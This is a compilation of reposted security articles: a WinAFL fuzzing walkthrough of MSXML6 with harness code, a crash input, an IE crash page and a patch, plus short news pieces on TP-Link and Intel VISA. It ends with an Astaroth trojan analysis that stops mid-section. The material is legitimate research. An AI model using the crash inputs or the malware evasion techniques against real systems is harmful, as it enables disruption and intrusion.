Fuzzing the MSXML6 library with WinAFL

Original text by symeonp

Introduction

In this blog post, I’ll write about how I tried to fuzz the MSXML library using the WinAFL fuzzer.

If you haven’t played around with WinAFL, it’s a massive fuzzer created by Ivan Fratric based on the lcumtuf’s AFL which uses DynamoRIO to measure code coverage and the Windows API for memory and process creation. Axel Souchet has been actively contributing features such as corpus minimization, latest afl stable builds, persistent execution mode which will cover on the next blog post and the finally the afl-tmin tool.

We will start by creating a test harness which will allow us to fuzz some parsing functionality within the library, calculate the coverage, minimise the test cases and finish by kicking off the fuzzer and triage the findings. Lastly, thanks to Mitja Kolsek from 0patch for providing the patch which will see how one can use the 0patch to patch this issue!

Using the above steps, I’ve managed to find a NULL pointer dereference on the msxml6!DTD::findEntityGeneral function, which I reported to Microsoft but got rejected as this is not a security issue. Fair enough, indeed the crash is crap, yet hopefully somebody might find interesting the techniques I followed!

The Harness

While doing some research I ended up on this page which Microsoft has kindly provided a sample C++ code which allows us to feed some XML files and validate its structure. I am going to use Visual Studio 2015 to build the following program but before I do that, I am slightly going to modify it and use Ivan’s charToWChar method so as to accept an argument as a file:

// xmlvalidate_fuzz.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include <stdio.h>
#include <tchar.h>
#include <windows.h>
#import <msxml6.dll>
extern "C" __declspec(dllexport)  int main(int argc, char** argv);

// Macro that calls a COM method returning HRESULT value.
#define CHK_HR(stmt)        do { hr=(stmt); if (FAILED(hr)) goto CleanUp; } while(0)

void dump_com_error(_com_error &e)
{
    _bstr_t bstrSource(e.Source());
    _bstr_t bstrDescription(e.Description());

    printf("Error\n");
    printf("\a\tCode = %08lx\n", e.Error());
    printf("\a\tCode meaning = %s", e.ErrorMessage());
    printf("\a\tSource = %s\n", (LPCSTR)bstrSource);
    printf("\a\tDescription = %s\n", (LPCSTR)bstrDescription);
}

_bstr_t validateFile(_bstr_t bstrFile)
{
    // Initialize objects and variables.
    MSXML2::IXMLDOMDocument2Ptr pXMLDoc;
    MSXML2::IXMLDOMParseErrorPtr pError;
    _bstr_t bstrResult = L"";
    HRESULT hr = S_OK;

    // Create a DOMDocument and set its properties.
    CHK_HR(pXMLDoc.CreateInstance(__uuidof(MSXML2::DOMDocument60), NULL, CLSCTX_INPROC_SERVER));

    pXMLDoc->async = VARIANT_FALSE;
    pXMLDoc->validateOnParse = VARIANT_TRUE;
    pXMLDoc->resolveExternals = VARIANT_TRUE;

    // Load and validate the specified file into the DOM.
    // And return validation results in message to the user.
    if (pXMLDoc->load(bstrFile) != VARIANT_TRUE)
    {
        pError = pXMLDoc->parseError;

        bstrResult = _bstr_t(L"Validation failed on ") + bstrFile +
            _bstr_t(L"\n=====================") +
            _bstr_t(L"\nReason: ") + _bstr_t(pError->Getreason()) +
            _bstr_t(L"\nSource: ") + _bstr_t(pError->GetsrcText()) +
            _bstr_t(L"\nLine: ") + _bstr_t(pError->Getline()) +
            _bstr_t(L"\n");
    }
    else
    {
        bstrResult = _bstr_t(L"Validation succeeded for ") + bstrFile +
            _bstr_t(L"\n======================\n") +
            _bstr_t(pXMLDoc->xml) + _bstr_t(L"\n");
    }

CleanUp:
    return bstrResult;
}

wchar_t* charToWChar(const char* text)
{
    size_t size = strlen(text) + 1;
    wchar_t* wa = new wchar_t[size];
    mbstowcs(wa, text, size);
    return wa;
}

int main(int argc, char** argv)
{
    if (argc < 2) {
        printf("Usage: %s <xml file>\n", argv[0]);
        return 0;
    }

    HRESULT hr = CoInitialize(NULL);
    if (SUCCEEDED(hr))
    {
        try
        {
            _bstr_t bstrOutput = validateFile(charToWChar(argv[1]));
            MessageBoxW(NULL, bstrOutput, L"noNamespace", MB_OK);
        }
        catch (_com_error &e)
        {
            dump_com_error(e);
        }
        CoUninitialize();
    }

    return 0;

}

Notice also the following snippet: extern "C" __declspec(dllexport) int main(int argc, char** argv);

Essentially, this allows us to use target_method argument which DynamoRIO will try to retrieve the address for a given symbol name as seen here.

I could use the offsets method as per README, but due to ASLR and all that stuff, we want to scale a bit the fuzzing and spread the binary to many Virtual Machines and use the same commands to fuzz it. The extern "C" directive will unmangle the function name and will make it look prettier.

To confirm that indeed DynamoRIO can use this method the following command can be used:

dumpbin /EXPORTS xmlvalidate_fuzz.exe

Viewing the exported functions.

Now let’s quickly run the binary and observe the output. You should get the following output:

Output from the xmlvlidation binary.

Code Coverage

WinAFL

Since the library is closed source, we will be using DynamoRIO’s code coverage library feature via the WinAFL:

C:\DRIO\bin32\drrun.exe -c winafl.dll -debug -coverage_module msxml6.dll -target_module xmlvalidate.exe -target_method main -fuzz_iterations 10 -nargs 2 -- C:\xml_fuzz_initial\xmlvalidate.exe C:\xml_fuzz_initial\nn-valid.xml

WinAFL will start executing the binary ten times. Once this is done, navigate back to the winafl folder and check the log file:

Checking the coverage within WinAFL.

From the output we can see that everything appears to be running normally! On the right side of the file, the dots depict the coverage of the DLL, if you scroll down you’ll see that we did hit many function as we are getting more dots throughout the whole file. That’s a very good indication that we are hiting a lot of code and we properly targeting the MSXML6 library.

Lighthouse — Code Coverage Explorer for IDA Pro

This plugin will help us understand better which function we are hitting and give a nice overview of the coverage using IDA. It’s an excellent plugin with very good documentation and has been developed by Markus Gaasedelen (@gaasedelen) Make sure to download the latest DynamoRIO version 7, and install it as per instrcutions here. Luckily, we do have two sample test cases from the documentation, one valid and one invalid. Let’s feed the valid one and observe the coverage. To do that, run the following command:

C:\DRIO7\bin64\drrun.exe -t drcov -- xmlvalidate.exe nn-valid.xml

Next step fire up IDA, drag the msxml6.dll and make sure to fetch the symbols! Now, check if a .log file has been created and open it on IDA from the File -> Load File -> Code Coverage File(s) menu. Once the coverage file is loaded it will highlight all the functions that your test case hit.

Case minimisation

Now it’s time to grab some XML files (as small as possible). I’ve used a slightly hacked version of joxean’s find_samples.py script. Once you get a few test cases let’s minimise our initial seed files. This can be done using the following command:

python winafl-cmin.py --working-dir C:\winafl\bin32 -D C:\DRIO\bin32 -t 100000 -i C:\xml_fuzz\samples -o C:\minset_xml -coverage_module msxml6.dll -target_module xmlvalidate.exe -target_method fuzzme -nargs 1 -- C:\xml_fuzz\xmlvalidate.exe @@

You might see the following output:

corpus minimization tool for WinAFL by <0vercl0k@tuxfamily.org> 
Based on WinAFL by <ifratric@google.com> 
Based on AFL by <lcamtuf@google.com> 
[+] CWD changed to C:\winafl\bin32. 
[*] Testing the target binary... 
[!] Dry-run failed, 2 executions resulted differently: 
Tuples matching? False 
Return codes matching? True

I am not quite sure but I think that the winafl-cmin.py script expects that the initial seed files lead to the same code path, that is we have to run the script one time for the valid cases and one for the invalid ones. I might be wrong though and maybe there’s a bug which in that case I need to ping Axel.

Let’s identify the ‘good’ and the ‘bad’ XML test cases using this bash script:

$ for file in *; do printf "==== FILE: $file =====\n"; /cygdrive/c/xml_fuzz/xmlvalidate.exe $file ;sleep 1; done

The following screenshot depicts my results:

Looping through the test cases with Cygwin

Feel free to expirement a bit, and see which files are causing this issue — your mileage may vary. Once you are set, run again the above command and hopefully you’ll get the following result:

Minimising our initial seed files.

So look at that! The initial campaign included 76 cases which after the minimisation it was narrowed down to 26. 
Thank you Axel!

With the minimised test cases let’s code a python script that will automate all the code coverage:

import sys
import os

testcases = []
for root, dirs, files in os.walk(".", topdown=False):
    for name in files:
        if name.endswith(".xml"):
            testcase =  os.path.abspath(os.path.join(root, name))
            testcases.append(testcase)

for testcase in testcases:
    print "[*] Running DynamoRIO for testcase: ", testcase
    os.system("C:\\DRIO7\\bin32\\drrun.exe -t drcov -- C:\\xml_fuzz\\xmlvalidate.exe %s" % testcase)

The above script produced the following output for my case:

Coverage files produced by the Lighthouse plugin.

As previously, using IDA open all those .log files under File -> Load File -> Code Coverage File(s) menu.

Code coverage using the Lighthouse plugin and IDA Pro.

Interestingly enough, notice how many parse functions do exist, and if you navigate around the coverage you’ll see that we’ve managed to hit a decent amount of interesting code.

Since we do have some decent coverage, let’s move on and finally fuzz it!

All I do is fuzz, fuzz, fuzz

Let’s kick off the fuzzer:

afl-fuzz.exe -i C:\minset_xml -o C:\xml_results -D C:\DRIO\bin32\ -t 20000 -- -coverage_module MSXML6.dll -target_module xmlvalidate.exe -target_method main -nargs 2 -- C:\xml_fuzz\xmlvalidate.exe @@

Running the above yields the following output:

WinAFL running with a slow speed.

As you can see, the initial code does that job — however the speed is very slow. Three executions per second will take long to give some proper results. Interestingly enough, I’ve had luck in the past and with that speed (using python and radamsa prior the afl/winafl era) had success in finding bugs and within three days of fuzzing!

Let’s try our best though and get rid of the part that slows down the fuzzing. If you’ve done some Windows programming you know that the following line initialises a COM object which could be the bottleneck of the slow speed:

HRESULT hr = CoInitialize(NULL);

This line probably is a major issue so in fact, let’s refactor the code, we are going to create a fuzzme method which is going to receive the filename as an argument outside the COM initialisation call. The refactored code should look like this:

--- cut ---

extern "C" __declspec(dllexport) _bstr_t fuzzme(wchar_t* filename);

_bstr_t fuzzme(wchar_t* filename)
{
    _bstr_t bstrOutput = validateFile(filename);
    //bstrOutput += validateFile(L"nn-notValid.xml");
    //MessageBoxW(NULL, bstrOutput, L"noNamespace", MB_OK);
    return bstrOutput;

}
int main(int argc, char** argv)
{
    if (argc < 2) {
        printf("Usage: %s <xml file>\n", argv[0]);
        return 0;
    }

    HRESULT hr = CoInitialize(NULL);
    if (SUCCEEDED(hr))
    {
        try
        {
            _bstr_t bstrOutput = fuzzme(charToWChar(argv[1]));
        }
        catch (_com_error &e)
        {
            dump_com_error(e);
        }
        CoUninitialize();
    }
    return 0;
}
--- cut ---

You can grab the refactored version here. With the refactored binary let’s run one more time the fuzzer and see if we were right. This time, we will pass the fuzzme target_method instead of main, and use only one argument which is the filename. While we are here, let’s use the lcamtuf’s xml.dic from here.

afl-fuzz.exe -i C:\minset_xml -o C:\xml_results -D C:\DRIO\bin32\ -t 20000 -x xml.dict -- -coverage_module MSXML6.dll -target_module xmlvalidate.exe -target_method fuzzme -nargs 1 -- C:\xml_fuzz\xmlvalidate.exe @@

Once you’ve run that, here’s the output within a few seconds of fuzzing on a VMWare instance:

WinAFL running with a massive speed.

Brilliant! That’s much much better, now let it run and wait for crashes! 

The findings — Crash triage/analysis

Generally, I’ve tried to fuzz this binary with different test cases, however unfortunately I kept getting the NULL pointer dereference bug. The following screenshot depicts the findings after a ~ 12 days fuzzing campaign:

Fuzzing results after 12 days.

Notice that a total of 33 million executions were performed and 26 unique crashes were discovered!

In order to triage these findings, I’ve used the BugId tool from SkyLined, it’s an excellent tool which will give you a detailed report regarding the crash and the exploitability of the crash.

Here’s my python code for that:

import sys
import os


sys.path.append("C:\\BugId")

testcases = []
for root, dirs, files in os.walk(".\\fuzzer01\\crashes", topdown=False):
    for name in files:
        if name.endswith("00"):
            testcase =  os.path.abspath(os.path.join(root, name))
            testcases.append(testcase)

for testcase in testcases:
    print "[*] Gonna run: ", testcase
    os.system("C:\\python27\\python.exe C:\\BugId\\BugId.py C:\\Users\\IEUser\\Desktop\\xml_validate_results\\xmlvalidate.exe -- %s" % testcase)

The above script gives the following output:

Running cBugId to triage the crashes..

Once I ran that for all my crashes, it clearly showed that we’re hitting the same bug. To confirm, let’s fire up windbg:

0:000> g
(a6c.5c0): Access violation - code c0000005 (!!! second chance !!!)
eax=03727aa0 ebx=0012fc3c ecx=00000000 edx=00000000 esi=030f4f1c edi=00000002
eip=6f95025a esp=0012fbcc ebp=0012fbcc iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
msxml6!DTD::findEntityGeneral+0x5:
6f95025a 8b4918          mov     ecx,dword ptr [ecx+18h] ds:0023:00000018=????????
0:000> kv
ChildEBP RetAddr  Args to Child              
0012fbcc 6f9de300 03727aa0 00000002 030f4f1c msxml6!DTD::findEntityGeneral+0x5 (FPO: [Non-Fpo]) (CONV: thiscall) [d:\w7rtm\sql\xml\msxml6\xml\dtd\dtd.hxx @ 236]
0012fbe8 6f999db3 03727aa0 00000003 030c5fb0 msxml6!DTD::checkAttrEntityRef+0x14 (FPO: [Non-Fpo]) (CONV: thiscall) [d:\w7rtm\sql\xml\msxml6\xml\dtd\dtd.cxx @ 1470]
0012fc10 6f90508f 030f4f18 0012fc3c 00000000 msxml6!GetAttributeValueCollapsing+0x43 (FPO: [Non-Fpo]) (CONV: stdcall) [d:\w7rtm\sql\xml\msxml6\xml\parse\nodefactory.cxx @ 771]
0012fc28 6f902d87 00000003 030f4f14 6f9051f4 msxml6!NodeFactory::FindAttributeValue+0x3c (FPO: [Non-Fpo]) (CONV: thiscall) [d:\w7rtm\sql\xml\msxml6\xml\parse\nodefactory.cxx @ 743]
0012fc8c 6f8f7f0d 030c5fb0 030c3f20 01570040 msxml6!NodeFactory::CreateNode+0x124 (FPO: [Non-Fpo]) (CONV: stdcall) [d:\w7rtm\sql\xml\msxml6\xml\parse\nodefactory.cxx @ 444]
0012fd1c 6f8f5042 010c3f20 ffffffff c4fd70d3 msxml6!XMLParser::Run+0x740 (FPO: [Non-Fpo]) (CONV: stdcall) [d:\w7rtm\sql\xml\msxml6\xml\tokenizer\parser\xmlparser.cxx @ 1165]
0012fd58 6f8f4f93 030c3f20 c4fd7017 00000000 msxml6!Document::run+0x89 (FPO: [Non-Fpo]) (CONV: thiscall) [d:\w7rtm\sql\xml\msxml6\xml\om\document.cxx @ 1494]
0012fd9c 6f90a95b 030ddf58 00000000 00000000 msxml6!Document::_load+0x1f1 (FPO: [Non-Fpo]) (CONV: thiscall) [d:\w7rtm\sql\xml\msxml6\xml\om\document.cxx @ 1012]
0012fdc8 6f8f6c75 037278f0 00000000 c4fd73b3 msxml6!Document::load+0xa5 (FPO: [Non-Fpo]) (CONV: thiscall) [d:\w7rtm\sql\xml\msxml6\xml\om\document.cxx @ 754]
0012fe38 00401d36 00000000 00000008 00000000 msxml6!DOMDocumentWrapper::load+0x1ff (FPO: [Non-Fpo]) (CONV: stdcall) [d:\w7rtm\sql\xml\msxml6\xml\om\xmldom.cxx @ 1111]
-- cut --
Running cBugId to triage the crashes..

Let’s take a look at one of the crasher:

C:\Users\IEUser\Desktop\xml_validate_results\fuzzer01\crashes>type id_000000_00
<?xml version="&a;1.0"?>
<book xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
      xsi:noNamespaceSchemaLocation="nn.xsd"
      id="bk101">
   <author>Gambardella, Matthew</author>
   <title>XML Developer's Guide</title>
   <genre>Computer</genre>
   <price>44.95</price>
   <publish_date>2000-10-01</publish_date>
   <description>An in-depth look at creating applications with
   XML.</description>

As you can see, if we provide some garbage either on the xml version or the encoding, we will get the above crash. Mitja also minimised the case as seen below:

<?xml version='1.0' encoding='&aaa;'?>

The whole idea of fuzzing this library was based on finding a vulnerability within Internet Explorer’s context and somehow trigger it. After a bit of googling, let’s use the following PoC (crashme.html) and see if it will crash IE11:

<!DOCTYPE html>
<html>
<head>
</head>
<body>
<script>

var xmlDoc = new ActiveXObject("Msxml2.DOMDocument.6.0");
xmlDoc.async = false;
xmlDoc.load("crashme.xml");
if (xmlDoc.parseError.errorCode != 0) {
   var myErr = xmlDoc.parseError;
   console.log("You have error " + myErr.reason);
} else {
   console.log(xmlDoc.xml);
}

</script>
</body>
</html>

Running that under Python’s SimpleHTTPServer gives the following:

Running cBugId to triage the crashes..

Bingo! As expected, at least with PageHeap enabled we are able to trigger exactly the same crash as with our harness. Be careful not to include that xml on Microsoft Outlook, because it will also crash it as well! Also, since it’s on the library itself, had it been a more sexy crash would increase the attack surface!

Patching

After exchanging a few emails with Mitja, he kindly provided me the following patch which can be applied on a fully updated x64 system:

;target platform: Windows 7 x64
;
RUN_CMD C:\Users\symeon\Desktop\xmlvalidate_64bit\xmlvalidate.exe C:\Users\symeon\Desktop\xmlvalidate_64bit\poc2.xml
MODULE_PATH "C:\Windows\System32\msxml6.dll"
PATCH_ID 200000
PATCH_FORMAT_VER 2
VULN_ID 9999999
PLATFORM win64


patchlet_start
 PATCHLET_ID 1
 PATCHLET_TYPE 2
 
 PATCHLET_OFFSET 0xD093D 
 PIT msxml6.dll!0xD097D
  
 code_start

  test rbp, rbp ;is rbp (this) NULL?
  jnz continue
  jmp PIT_0xD097D
  continue:
 code_end
patchlet_end

Let’s debug and test that patch, I’ve created an account and installed the 0patch agent for developers, and continued by right clicking on the above .0pp file:

Running the crasher with the 0patch console

Once I’ve executed my harness with the xml crasher, I immediately hit the breakpoint:

Hitting the breakpoint under Windbg

From the code above, indeed rbp is null which would lead to the null pointer dereference. Since we have deployed the 0patch agent though, in fact it’s going to jump to msxml6.dll!0xD097D and avoid the crash:

Bug fully patched!

Fantastic! My next step was to fire up winafl again with the patched version which unfortunately failed. Due to the nature of 0patch (function hooking?) it does not play nice with WinAFL and it crashes it.

Nevertheless, this is a sort of “DoS 0day” and as I mentioned earlier I reported it to Microsoft back in June 2017 and after twenty days I got the following email:

MSRC Response!

I totally agree with that decision, however I was mostly interested in patching the annoying bug so I can move on with my fuzzing :o) 
After spending a few hours on the debugger, the only “controllable” user input would be the length of the encoding string:

eax=03052660 ebx=0012fc3c ecx=00000011 edx=00000020 esi=03054f24 edi=00000002
eip=6f80e616 esp=0012fbd4 ebp=0012fbe4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
msxml6!Name::create+0xf:
6f80e616 e8e7e6f9ff      call    msxml6!Name::create (6f7acd02)
0:000> dds esp L3
0012fbd4  00000000
0012fbd8  03064ff8
0012fbdc  00000003

0:000> dc 03064ff8 L4
03064ff8  00610061 00000061 ???????? ????????  a.a.a...????????

The above unicode string is in fact our entity from the test case, where the number 3 is the length aparently (and the signature of the function: Name *__stdcall Name::create(String *pS, const wchar_t *pch, int iLen, Atom *pAtomURN))

Conclusion

As you can see, spending some time on Microsoft’s APIs/documentation can be gold! Moreover, refactoring some basic functions and pinpointing the issues that affect the performance can also lead to massive improvements!

On that note I can’t thank enough Ivan for porting the afl to Windows and creating this amazing project. Moreover thanks to Axel as well who’s been actively contributing and adding amazing features.

Shouts to my colleague Javier (we all have one of those heap junkie friends, right?) for motivating me to write this blog, Richard who’s been answering my silly questions and helping me all this time, Mitja from the 0patch team for building this patch and finally Patroklo for teaching me a few tricks about fuzzing a few years ago!

References

Evolutionary Kernel Fuzzing-BH2017-rjohnson-FINAL.pdf
Super Awesome Fuzzing, Part One

Реклама

TP-Link ‘smart’ router proves to be anything but smart – just like its maker: Zero-day vuln dropped after silence

Original text by Thomas Claburn

TP-Link’s all-in-one SR20 Smart Home Router allows arbitrary command execution from a local network connection, according to a Google security researcher.

On Wednesday, 90 days after he informed TP-Link of the issue and received no response, Matthew Garrett, a well-known Google security engineer and open-source contributor, disclosed a proof-of-concept exploit to demonstrate a vulnerability affecting TP-Link’s router.

The 38-line script shows that you can execute any command you choose on the device with root privileges, without authentication. The SR20 was announced in 2016.

Via Twitter, Garrett explained that TP-Link hardware often incorporates TDDP, the TP-Link Device Debug Protocol, which has had multiple vulnerabilities in the past. Among them, version 1 did not require a password.

«The SR20 still exposes some version 1 commands, one of which (command 0x1f, request 0x01) appears to be for some sort of configuration validation,» he said. «You send it a filename, a semicolon and then an argument.»

Once it receives the command, says Garrett, the router responds to the requesting machine via TFTP, asks for the filename, imports it to a Lua interpreter, running as root, and sends the argument to the config_test() function within the imported file.

The Lua os.execute() method passes a command to be executed by an operating system shell. And since the interpreter is running as root, Garret explains, you have arbitrary command execution.

However, while TDDP listens on all interfaces, the default firewall prevents network access, says Garrett. This makes the issue less of a concern that remote code execution flaws identified in TP-Link 1GbE VPN routers in November.

Even so, vulnerability to a local attack could be exploited if an attacker manages to get a malicious download onto a machine connected to an SR20 router.

TP-Link did not immediately respond to a request for comment.

Garrett concluded his disclosure by urging TP-Link to provide a way to report security flaws and not to ship debug daemons on production firmware.

Researchers discover and abuse new undocumented feature in Intel chipsets

Original text by Catalin Cimpanu

Researchers find new Intel VISA (Visualization of Internal Signals Architecture) debugging technology.

At the Black Hat Asia 2019 security conference, security researchers from Positive Technologies disclosed the existence of a previously unknown and undocumented feature in Intel chipsets.

Called Intel Visualization of Internal Signals Architecture (Intel VISA), Positive Technologies researchers Maxim Goryachy and Mark Ermolov said this is a new utility included in modern Intel chipsets to help with testing and debugging on manufacturing lines.

VISA is included with Platform Controller Hub (PCH) chipsets part of modern Intel CPUs and works like a full-fledged logic signal analyzer.

PCH
Image: Wikimedia Commons

According to the two researchers, VISA intercepts electronic signals sent from internal buses and peripherals (display, keyboard, and webcam) to the PCH —and later the main CPU.

VISA EXPOSES A COMPUTER’S ENTIRE DATA

Unauthorized access to the VISA feature would allow a threat actor to intercept data from the computer memory and create spyware that works at the lowest possible level.

But despite its extremely intrusive nature, very little is known about this new technology. Goryachy and Ermolov said VISA’s documentation is subject to a non-disclosure agreement, and not available to the general public.

Normally, this combination of secrecy and a secure default should keep Intel users safe from possible attacks and abuse.

However, the two researchers said they found several methods of enabling VISA and abusing it to sniff data that passes through the CPU, and even through the secretive Intel Management Engine (ME), which has been housed in the PCH since the release of the Nehalem processors and 5-Series chipsets.

INTEL SAYS IT’S SAFE. RESEARCHERS DISAGREE.

Goryachy and Ermolov said their technique doesn’t require hardware modifications to a computer’s motherboard and no specific equipment to carry out.

The simplest method consists of using the vulnerabilities detailed in Intel’s Intel-SA-00086security advisory to take control of the Intel Management Engine and enable VISA that way.

«The Intel VISA issue, as discussed at BlackHat Asia, relies on physical access and a previously mitigated vulnerability addressed in INTEL-SA-00086 on November 20, 2017,» an Intel spokesperson told ZDNet yesterday.

«Customers who have applied those mitigations are protected from known vectors,» the company said.

However, in an online discussion after his Black Hat talk, Ermolov said the Intel-SA-00086 fixes are not enough, as Intel firmware can be downgraded to vulnerable versions where the attackers can take over Intel ME and later enable VISA.

Furthermore, Ermolov said that there are three other ways to enable Intel VISA, methods that will become public when Black Hat organizers will publish the duo’s presentation slides in the coming days.

As Ermolov said yesterday, VISA is not a vulnerability in Intel chipsets, but just another way in which a useful feature could be abused and turned against users. Chances that VISA will be abused are low. This is because if someone would go through the trouble of exploiting the Intel-SA-00086 vulnerabilities to take over Intel ME, then they’ll likely use that component to carry out their attacks, rather than rely on VISA.

As a side note, this is the second «manufacturing mode» feature Goryachy and Ermolov found in the past year. They also found that Apple accidentally shipped some laptops with Intel CPUs that were left in «manufacturing mode.»

ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA

Original text by CYBEREASON NOCTURNUS RESEARCH

RESEARCH BY: ELI SALEM

In 2018, we saw a dramatic increase in cyber crimes in Brazil and, separately, the abuse of legitimate native Windows OS processes for malicious intent. Cyber attackers used living off the land binaries (LOLbins) to hide their malicious activity and operate stealthily in target systems. Using native, legitimate operating system tools, attackers were able to infiltrate and gain remote access to devices without any malware. For organizations with limited visibility into their environment, this type of attack can be fatal.


In this research, we explain one of the most recent and unique campaigns involving the Astaroth trojan.This Trojan and information stealer was recognized in Europe and chiefly affected Brazil through the abuse of native OS processes and the exploitation of security-related products.

Brazil is constantly being hit with cybercrime. To read about another pervasive attack in Brazil, check out our blog post. 

Pervasive Brazilian Financial Malware Targets Bank Customers in Latin America  and Europe  <https://www.cybereason.com/blog/brazilian-financial-malware-banking-europe-south-america>«/></a></figure>



<p><em><a href=Pervasive Brazilian Financial Malware Targets Bank Customers in Latin America and Europe

The Cybereason Platform was able to detect this new variant of the Astaroth Trojan in a massive spam campaign that targeted Brazil and parts of Europe. Our Active Hunting Service team was able to analyze the campaign and identify that it maliciously took advantage of legitimate tools like the BITSAdmin utilityand the WMIC utility to interact with a C2 server and download a payload. It was also able to use a component of multinational antivirus software Avast to gain information about the target system, as well as a process belonging to Brazilian information security company GAS Tecnologia to gather personal information. With a sophisticated attack such as this, it is critical for your security team to have a clear understanding of your environment so they can swiftly detect malicious activity and respond effectively. 

UNIQUE ASPECTS TO THIS LATEST VERSION OF THE ASTAROTH TROJAN CAMPAIGN

The Astaroth Trojan campaign is a phishing-based campaign that gained momentum towards the end of 2018 and was identified in thousands of incidents. Early versions differed significantly from later versions as the adversaries advanced and optimized their attack. This version contrasted significantly from previous versions in four key ways.

  1. This version maliciously used BITSAdmin to download the attackers payload. This differed from early versions of the campaign that used certutil.
  2. This version injects a malicious module into one of Avast’s processes, whereas early versions of the campaign detected Avast and quit. As Avast is the most common antivirus software in the world, this is an effective evasive strategy.
  3. This version of the campaign made malicious use of unins000.exe, a process that belongs to the Brazilian information security company GAS Tecnologia, to gather personal information undetected. This trusted process is prevalent on Brazilian machines. To the best of our knowledge, no other versions of the malware used this process.
  4. This version used a fromCharCode() deobfuscation method to avoid explicitly writing execution commands and help hide the code it is initiating. Earlier versions did not use this method.

A BREAKDOWN OF THE LATEST ASTAROTH TROJAN SPAM CAMPAIGN

As with many traditional spam campaigns, this campaign begins with a .7zip file. This file gets downloaded to a user machine through a mail attachment or a mistakenly-pressed hyperlink.

The downloaded .7zip file contains a .lnk file that, once pressed, initializes the malware.

 

The .lnk file extracted from the .7zip file.

An obfuscated command is located inside the Target bar in the .lnk file properties. 

Hidden command inside the .lnk file.

The full obfuscated command inside the .lnk file.

When the .lnk file is initialized, it spawns a CMD process. This process executes a command to maliciously use the legitimate wmic.exe to initialize an XSL Script Processing (MITRE Technique T1220) attack. The attack executes embedded JScript or VBScript in an XSL stylesheet located on a remote domain (qnccmvbrh.wilstonbrwsaq[.]pw).

wmic.exe is a powerful, native Windows command line utility used to interact with Windows Management Instrumentation (WMI). This utility is able to execute complicated WQL queries and WMI methods. It is often used by attackers for lateral movement, reconnaissance, and basic code invocation. By using a trusted, native utility, the attackers can hide the scope of the full attack and evade detection.

The initial attack vector as detected by the Cybereason Platform.

wmic.exe creates a .txt file with information about the domain that stores the remote XSL script. It identifies the location of the infected machine, including country, city, and other information. Once this information is gathered, it sends location data about the infected machine to the remote XSL script.

This location data gives the attacker a unique edge, as they can specify a target country or city to attack and maximize their accuracy when choosing a particular target. 

 The .txt file contains information about the C2 domain and infected machine, as detected in a Cybereason Lab environment.

PHASE ONE: AN ANALYSIS OF THE REMOTE XSL

The remote XSL script that wmic.exe sends information to contains highly obfuscated JScript code that will execute additional steps of the malicious activity. The code is obfuscated in order to hide any malicious activity on the remote server.

Initially, the XSL script defines several variables for command execution and data storage. It also creates several ActiveX objects. The majority of ActiveX Objects created with Wscript.Shell and Shell.Applicationare used to run programs, create shortcuts, manipulate the contents of the registry, or access system folders. These variables are used to invoke legitimate Windows OS processes for malicious activities, and serve as a bridge between the remote domain that stores the script and the infected machine.  

Malicious script variables.

OBFUSCATION MECHANISM FOR THE JSCRIPT CODE

The malicious JScript code obfuscation relies on two main techniques.

  1. The script uses the function fromCharCode() that returns a string created from a sequence of UTF-16 code units. By using this function, it avoids explicitly writing commands it wants to execute and it hides the actual code it is initiating. In particular, the script uses this function to hide information related to process names. To the best of our knowledge, this method was not used in early versions of the spam campaign.
  2. The script uses the function radador(), which returns a randomized integer. This function is able to obfuscate code so that every iteration of the code is presented differently. In contrast to the first method of obfuscation, this has been used effectively since early versions of the Astaroth Trojan campaign. 

 String.fromCharCode() usage in the XSL script. 

The random number generator function radador().

 These two obfuscation techniques are used to bypass antivirus defenses and make security researcher investigations more challenging.

CHOOSING A C2 SERVER

The XSL script contains variable xparis() that holds the C2 domain the malicious files will be downloaded from. In order to extend the lifespan of the domains in case one or more are blacklisted, there are twelve different C2 domains that xparis() can be set to. In order to decide which domain xparis() holds, a variable pingadori() uses the radador() function to randomize the domain. pingadori() is a random integer between one and twelve, which decides which domain xparis() is assigned.

The C2 domain selection mechanism.

One of the most used functions in the XSL script is Bxaki()Bxaki() takes a URL and a file as arguments. It downloads the file to the infected machine from the input URL using BITSAdmin, and is called every time the script attempts to download a file.

In previous iterations, the Astaroth Trojan campaign used cerutil to download files. In order to hide this process, it was renamed certis. In this iteration, they have replaced certutil with BITSAdmin.

 Bxaki obfuscated function.

soulto

Bxaki deobfuscated function.

In order to gain access to the infected computer’s file system, the XSL script uses the variable fso with FileSystemObject capabilities. This variable is created using an ActiveX object. The XSL script contains additional hard coded variables sVarRaz and sVar2RazX, which contain file paths that direct to the downloaded files. 

The file’s path.  

The directory creation. 

DOWNLOADING THE PAYLOADS

The remote XSL script downloads twelve files from the C2 server that masquerade themselves as JPEG, GIF, and extensionless files. These files are downloaded to a directory (C:\Users\Public\Libraries\tempsys) on the infected machine by Bxaki() and xparis(). Within these twelve files are the Astaroth Trojan modules, several additional files the Trojan may use to extend its capabilities, and an r1.log file. The r1.log file stores information for exfiltration. A thorough explanation of what information is collected can be found in a breakdown by Cofense from late 2018. 

The script verifies all parts of the malware have been downloaded. 

After downloading the payload, the XSL script checks to make sure every piece of the malware was downloaded. 

One of the twelve download commands as detected by the Cybereason platform in same variant of Astaroth. 

The twelve downloaded files.

DETECTING AVAST 

A unique feature of this latest Astaroth Trojan campaign is the malware’s ability to search for specific security products and exploit them.

 In earlier variants, upon detecting Avast, the XSL script would simply quit. Instead, it now uses Avast to execute malicious actions. 

Similar to earlier versions of the Astaroth Trojan campaign, the XSL script searches for Avast on the infected machine, and specifically targets a certain process of Avast aswrundll.exe. It uses three variables stem1stem2, and stem3 that, when combined, form a specific path (C:\Program Files\AVAST Software\AVAST\aswRunDll.exe) to aswRundll.exe. It obfuscates this path using the fromCharCode()function.

aswrundll.exe is the Avast Software Runtime Dynamic Link Library that is responsible for running modules for Avast. If aswrundll.exe exists at this path, Avast exists on the machine.

Note: aswrundll.exe is very similar to Microsoft’s own rundll32.exe — it allows you to execute DLLs by calling their exported functions. The use of aswrundll.exe as a LOLbin has been mentioned in the past year.

jsfile3

Stem variables presented as unicode strings.

Stem variables decoded to ASCII.

MANIPULATING AVAST

